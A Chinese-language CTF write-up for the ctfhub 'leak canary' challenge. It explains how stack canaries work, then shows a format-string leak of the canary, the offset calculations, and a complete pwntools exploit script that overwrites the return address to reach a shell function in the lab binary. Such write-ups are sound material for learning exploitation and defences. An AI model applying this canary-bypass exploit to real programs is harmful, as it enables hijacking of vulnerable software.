题目来自于 ctfhub 中的 leak canary
What is canary
Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
我们知道,通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。
由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。
Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值在 stack overflow 发生的高危区域的尾部。当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。
Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。
思路
因为程序中有两次输入,首先通过泄露获取到canary的值
第二次输入的时候就需要构造payload,先填充多个字节的padding到canary的位置,再把之前读取到的canary的值进行填充,再继续填充到栈帧 $ebp 的字节数,再写上想要跳转的地址
确定canary
第一次输入可以先泄露canary,输入处下断点
![【CTF】leak canary 【CTF】leak canary]()
![【CTF】leak canary 【CTF】leak canary]()
运行到第一次输入
![【CTF】leak canary 【CTF】leak canary]()
通过canary的机制查找canary的值(#canary到栈顶esp的偏移量是0x1f即31)
![【CTF】leak canary 【CTF】leak canary]()
查看当前栈中的canary,计算出偏移值
![【CTF】leak canary 【CTF】leak canary]()
偏移的值为
![【CTF】leak canary 【CTF】leak canary]()
现在就需要往回找到canary的位置
![【CTF】leak canary 【CTF】leak canary]()
根据地址找到IDA中对应的位置查找canary的栈的情况
![【CTF】leak canary 【CTF】leak canary]()
从buf到canary需要的字符 0x70-0xc
![【CTF】leak canary 【CTF】leak canary]()
![【CTF】leak canary 【CTF】leak canary]()
需要什么
第一次输入泄露canary的值(确定canary在哪)canary结尾一定为00
从buf到canary需要填充多少数据(buf到canary的地址差值)eax-canary
填充完 canary 再到填充多少数据 到 $ebp 去执行其他地址的函数
EXP
from
pwn
import
*
context(os=
'linux'
, arch=
'i386'
, log_level=
'debug'
)
p = process(
"./pwn"
)
p.recvline()
p.sendline(
b'%31$x'
)
canary = int(p.recv(
8
),
16
)
log.success(
'canary => %#x'
, canary)
print(canary)
elf = ELF(
'./pwn'
)
shell_addr = elf.symbols[
'shell'
]
payload =
b'a'
*
100
+ p32(canary) +
b'a'
*
12
+ p32(shell_addr)
p.sendline(payload)
p.interactive()
原文始发于微信公众号(CatalyzeSec):【CTF】leak canary
评论